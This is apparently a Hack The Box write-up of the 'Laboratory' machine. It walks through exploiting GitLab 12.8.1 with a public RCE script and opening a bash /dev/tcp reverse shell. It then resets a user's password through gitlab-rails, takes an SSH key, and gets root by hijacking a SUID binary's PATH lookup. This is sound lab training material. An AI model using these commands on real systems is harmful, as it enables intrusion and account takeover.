---
description: >-
  Linux Easy Box where we will have to dig into GitLab and gitlab-rails ending
  with some path hijacking, but first, let's enumerate !
---

# Hack The Box - Laboratory Walkthrough without Metasploit

![Laboratory](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOOh0cMHlNJvC7Gi2w%2Fimage.png?alt=media\&token=6baea35b-5647-437e-a46a-7cc059d00f04)

## Enumeration

Let's start by running nmapAutomator on our target:

```
nmapAutomator 10.10.10.216 All
```

Our basic scan returns the following:

![Nmap Scan](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOgYXnHR15e6iaHWY9%2Fimage.png?alt=media\&token=16aded0f-03a8-4b64-b9e4-ac5bdb663d39)

### Ports

We have the following ports open

#### 22

This is the SSH (Secure Shell) port, we might be able to use it later to log in if we find any valid username and its password or a valid key.

#### 80

HTTP port that redirects to HTTPS one (443) on the Nmap scan we can see that we have discovered **laboratory.htb** and a DNS **git.laboratory.htb** we add both to our /etc/hosts.

![/etc/hosts entry](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOkVPy5N-4gn4IIban%2Fimage.png?alt=media\&token=3a45346c-682f-4589-b0a6-79abc20e91cf)

We can also discover the DNS with **gobuster**

```bash
gobuster dns -d laboratory.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 40
```

![Gobuster DNS fuzz](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOk-ehoIANZA0HPFNg%2Fimage.png?alt=media\&token=c64106bb-4e48-49e1-adfb-a4e9aceb0fe5)

#### 443

This port is related to HTTPS, and it's the one we will access while trying to go to **https://laboratory.htb** so let's try to see if there's anything interesting:

![Web](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOl4Qz1HQRwxQQz5u-%2Fimage.png?alt=media\&token=dc47ca23-65f5-4187-ab8e-0bf297bfacc1)

After some enumeration on the web page, we couldn't find much of interest so let's go to **https://git.laboratory.htb** here we will see a GitLab Community Edition running, and we can Register

### GitLab

![Trying to register a GitLab account](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOloiv5Vk7g13AJLMI%2Fimage.png?alt=media\&token=720245a5-1998-4686-9131-c7edc8486b97)

We must use the email domain of laboratory in order to be able to successfully register:

![Using the correct Email domain](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOmQnUr0cM-EtK6OVW%2Fimage.png?alt=media\&token=6c69acee-b8e7-4b25-a429-5c954792441a)

And once we click on Register we are in as our new user **evil**

![Logged in Laboratory GitLab](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOnPpFIIUbgojhJ_Mf%2Fimage.png?alt=media\&token=e3c56f66-281f-41f1-af41-f6f3749052e0)

Looking through the page we can enumerate the GitLab version quite easily, we go to Help and it'll appear:

![GitLab Version 12.8.1](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOoO5Ux6Vi8_FSVb8V%2Fimage.png?alt=media\&token=0628429d-0393-4a26-a002-aeae93857f6e)

Searching for possible vulnerabilities on this version we found this report on HackerOne:

{% embed url="https://hackerone.com/reports/827052" %}
Arbitrary file read via UploadsRewriter
{% endembed %}

That leads us to this git repository:

{% embed url="https://github.com/dotPY-hax/gitlab_RCE" %}
gitlab\_RCE
{% endembed %}

Let's clone the repository and inspect the python code!

```bash
git clone https://github.com/dotPY-hax/gitlab_RCE
```

We have to modify the script since this GitLab has restricted email domains, and also we change the port on where we will be listening:

![Script modification](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOr4yL1aPmT1t9EFWX%2Fimage.png?alt=media\&token=2a391d1e-ad1f-46e9-bbd5-2a17ffdf5a32)

We prepare a netcat listener on port 9009:

```bash
nc -nvlp 9009
```

Now we can use the script:

```bash
python3 gitlab_rce.py https://git.laboratory.htb <our-ip>
```

We have to choose the option 2 since we want RCE and our version is 12.8.1, the script will stop and ask us if we already have a listener (how nice). We can also see what it is doing:

* Registering user hcbh4toQHD:IWTygssOAM&#x20;
* Creating project by8giL18px&#x20;
* Creating project qQfLhudoho&#x20;
* Creating issue gggHd8VkFn for project by8giL18px&#x20;
* Moving issue from by8giL18px to qQfLhudoho&#x20;
* Grabbing file secrets.yml&#x20;
* Deploying payload&#x20;
* Delete user hcbh4toQHD

![Gitlab Rce](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOuhtj70C5gl32u56h%2F-MYOvFWUFleAu5SXd26X%2Fimage.png?alt=media\&token=3a8105a7-d518-4fae-bf69-2bdb0943044e)

The shell really is unstable, whenever we press enter it fades:

![Unstable Shell](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOuEBE6bNGLDpK8xXt%2Fimage.png?alt=media\&token=25e292e7-4ffe-4b23-9f43-487496e7ba17)

As soon as we get in we start another listener and the first command we type in is another reverse to make it a bit more stable:

```bash
/bin/bash -c 'bash -i >& /dev/tcp/<Our-IP>/<Port> 0>&1'
```

![Reverse Shell](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOO6b-9KijB32zUk0k%2F-MYOuWi19PxvrdXAHqfT%2Fimage.png?alt=media\&token=27150eec-ece1-4ff5-aed2-7dc8fcdce4bf)

On our other shell we grab the incoming connection:

![Stable Reverse](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOuhtj70C5gl32u56h%2F-MYOwMQMgLSKxSLOsQkQ%2Fimage.png?alt=media\&token=06a09baa-d0e2-4d75-865d-c3f560a99330)

We are in as git user, enumerating we will find out that we are inside a Docker container:

![.dockerenv](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOuhtj70C5gl32u56h%2F-MYOwkEhMz9VdPEYoJj_%2Fimage.png?alt=media\&token=0bd6af61-0949-4390-9168-3361e936fc03)

## Privilege Escalation

### Gitlab-rails

We are inside a container but we cannot escape yet, although we see that we have **gitlab-rails**: \~/**gitlab-rails**/working, searching about gitlab-rails we found two interesting pages:

{% embed url="https://forum.gitlab.com/t/how-do-i-change-my-profile-to-admin/35888" %}

{% embed url="https://stackoverflow.com/questions/47134290/how-to-change-email-address-via-gitlab-rails-avoid-email-reconfirmation" %}

Both links pointing to how change or look users with gitlab-rails console.

First we set the environment to production:

```bash
gitlab-rails console -e production
```

![Production Environment](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOwoZMquqOAtW3Q3-M%2F-MYOzLEh-uFTvtAhKk_N%2Fimage.png?alt=media\&token=d06effbb-90b1-43a9-a0f7-3498b6049c7f)

Now we can find users by id, we load the first user on the variable user

```bash
user = User.find_by(id: 1)
```

![Dexter](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOwoZMquqOAtW3Q3-M%2F-MYOz_w8NI7LNlAg4pHj%2Fimage.png?alt=media\&token=2372f8c3-083d-495e-8425-977e89ffe2d4)

Let's modify a bit the user

* user.password --> set a new password
* user.password\_confirmation --> confirm new password
* user.save! --> save new configuration

![New Dexter password](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYOwoZMquqOAtW3Q3-M%2F-MYP-8NGWsa0qti5aA3s%2Fimage.png?alt=media\&token=70a7a77c-e164-4591-9681-ef8a469441e0)

Let's try to log in GitLab with **dexter** and our new password **evilpass**

![Impersonating Dexter](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP3FekYACYMeX8TBJF%2Fimage.png?alt=media\&token=c2a2bc60-59e1-4c9a-91c1-69b54ce5d95c)

Once we are logged in we can see there are two repositories:

![Dexter Repositories](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP3a4Ui8ybqfbTluYQ%2Fimage.png?alt=media\&token=34e38995-e486-46f6-8d1a-df922de07731)

If we enter on **SecureDocker** project we will find an interesting folder:

![Dexter folder](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP4AssV1CNiUWpb9Le%2Fimage.png?alt=media\&token=ed7ac12c-729c-48ee-a7ee-64140a3484bb)

Inside that folder there is an even more interesting one!

![SSH folder](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP4R2y27bcJtPL9zw4%2Fimage.png?alt=media\&token=b6f3ccc4-df55-4808-9fe4-41f0de0bc506)

Inside .ssh we have the id\_rsa key that will allow us to log in as Dexter

![id\_rsa](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP4jTOdr45zaD38Tlc%2Fimage.png?alt=media\&token=9d8b252e-a77e-4ec8-8cf4-5c9d4e449c91)

We copy that id\_rsa into a file in our box and chmod 600 it in order to be able to use it with ssh to log in:

```bash
chmod 600 dexterssh
ssh -i dexterssh dexter@10.10.10.216
```

![In as Dexter](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP5D07PZIlkoOASqvU%2Fimage.png?alt=media\&token=f903c029-ad37-43de-bb08-c7fd141d03a7)

At this point we can grab our user hash, once we do it lets enumerate and try to escalate privileges

### Dexter Privilege Escalation

We get **suid3num.py** to the box to see if there are binaries with SUID:

{% embed url="https://github.com/Anon-Exploiter/SUID3NUM" %}
Suid3num.py
{% endembed %}

Set a SimpleHTTPServer on our box:

```bash
python -m SimpleHTTPServer
```

On Laboratory shell as dexter grab the script and execute it:

```bash
wget <Our-IP>/suidnum.py
chmod +x suid3num.py
python3 suid3num.py
```

![Getting Suid3num.py to the box](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP8gtdTmJgWT7c5x41%2Fimage.png?alt=media\&token=fa24dbcf-e95d-4885-afaa-6ed59be2b603)

We can see there is a Custom SUID Binary

![](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP7MOZup4NOX8lB1-e%2Fimage.png?alt=media\&token=27baacfd-2049-4c2d-a41d-0723e403f218)

Inspecting the binary with **ltrace**:

It's setting uid and gid to 0 (**root**) and then using chmod without full path, we can hijack that to become root:

![chmod without full path as root](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYP9qjVFHYtkCnT3LNR%2Fimage.png?alt=media\&token=6f395be1-a0c6-4467-b7db-efdb5ac69b96)

#### Hijacking chmod

Since it's using chmod without the full path, it will be looking through all the directories in our **$PATH** variable and will use the first chmod that it finds. Knowing that we will prepend to our PATH **/tmp/.folder** and there we will create a file called **chmod** on where we will put **/bin/bash** and make it executable:

```bash
export PATH=/tmp/.folder:$PATH
echo "/bin/bash" > chmod
chmod +x chmod
```

![Hijacking chmod](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYPAiOGlLsyApRu0wFb%2Fimage.png?alt=media\&token=9ce69de9-3d57-46dd-b195-46a8f618a254)

## Pwnd

If we execute the SUID binary now:

```bash
/usr/local/bin/docker-security
```

![We are root](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MYP-L1U0lwBUA898yU5%2F-MYPAua92KgJDOlQrf9-%2Fimage.png?alt=media\&token=fdc78fa3-7877-4c82-986e-3f36828a4508)
